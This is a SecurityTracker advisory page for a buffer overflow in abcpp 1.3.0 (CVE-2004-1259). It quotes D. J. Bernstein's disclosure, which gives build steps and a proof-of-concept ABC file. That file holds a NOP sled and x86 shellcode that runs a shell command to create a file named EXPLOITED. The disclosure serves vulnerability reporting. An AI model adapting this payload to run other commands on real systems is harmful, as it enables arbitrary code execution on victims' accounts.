SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   abcpp Vendors:   abcplus.sourceforge.net
abcpp Buffer Overflow in handle_directive() Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1012596
SecurityTracker URL:  http://securitytracker.com/id/1012596
CVE Reference:   CVE-2004-1259   (Links to External Site)
Updated:  Dec 23 2004
Original Entry Date:  Dec 16 2004
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.3.0
Description:   A vulnerability was reported in abcpp. A remote user can cause arbitrary code to be executed by the target user.

D. J. Bernstein reported that a remote user can create a specially crafted ABC file that, when processed by the target user with abcpp, will execute arbitrary code on the target user's system. The code will run with the privileges of the target user.

The buffer overflow resides in the handle_directive() function in 'abcpp.c'.

Yosef Klein is credited with discovering this flaw.

Impact:   A remote user can cause arbitrary code to be executed by the target user with the privileges of the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  abcplus.sourceforge.net/ (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.


 Source Message Contents

Subject:  [remote] [control] abcpp 1.3.0 process_directive overflows token buffer



--lrZ03NoBR/3+SXJZ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Yosef Klein, a student in my Fall 2004 UNIX Security Holes course, has
discovered a remotely exploitable security hole in abcpp. I'm publishing
this notice, but all the discovery credits should be assigned to Klein.

You are at risk if you take an ABC file from an email message (or a web
page or any other source that could be controlled by an attacker) and
feed that file through abcpp. Whoever provides the ABC file then has
complete control over your account: he can read and modify your files,
watch the programs you're running, etc.

The abcpp documentation does not tell users to avoid taking input from
the network. Many web pages offer ABC files for public consumption.

Proof of concept: On an x86 computer running FreeBSD 4.10, type

   wget http://abcplus.sourceforge.net/abcpp-1.3.0.tar.gz
   gunzip < abcpp-1.3.0.tar.gz | tar -xf -
   cd abcpp-1.3.0
   gmake

to download and compile the abcpp program, version 1.3.0 (current). Then
save the file 80.abc attached to this message, and type

   ./abcpp 80.abc

with the unauthorized result that a file named EXPLOITED is created in
the current directory. (I tested this with a 613-byte environment, as
reported by printenv | wc -c; beware that 80.abc is sensitive to the
environment size.)

Here's the bug: In abcpp.c lines 557 and 571, handle_directive() copies
a line to various small local arrays. The line can be as large as 1024
bytes.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago

--lrZ03NoBR/3+SXJZ
Content-Type: text/plain; charset=unknown-8bit
Content-Disposition: attachment; filename="80.abc"
Content-Transfer-Encoding: quoted-printable

#define a a a a a a a a a a a a a a a a a a a "=80=F4=BF=BF=80=F4=BF=BF=80=
=F4=BF=BF=80=F4=BF=BF=80=F4=BF=BF=80=F4=BF=BF=80=F4=BF=BF=80=F4=BF=BF=80=F4=
=BF=BF# cm=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=EBGY=89=CA=83=C2=18=89=111=C0=89A=04=83=C2=13=89Q=08=83=C2=08=
=89Q=0C=83=C2=03=89Q=10=89A=14=88A*=88A2=88A5=88AEQ=83=C1=08Q=83=C1 =83=C1=
=03Q=83=C0;P=CD=801=C0P@P=CD=80=E8=B4=FF=FF=FFabcdefghijklmnopqrstuvwxPATH=
=3D/bin:/usr/bin /bin/sh -c touch EXPLOITED.=00=00

--lrZ03NoBR/3+SXJZ--

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC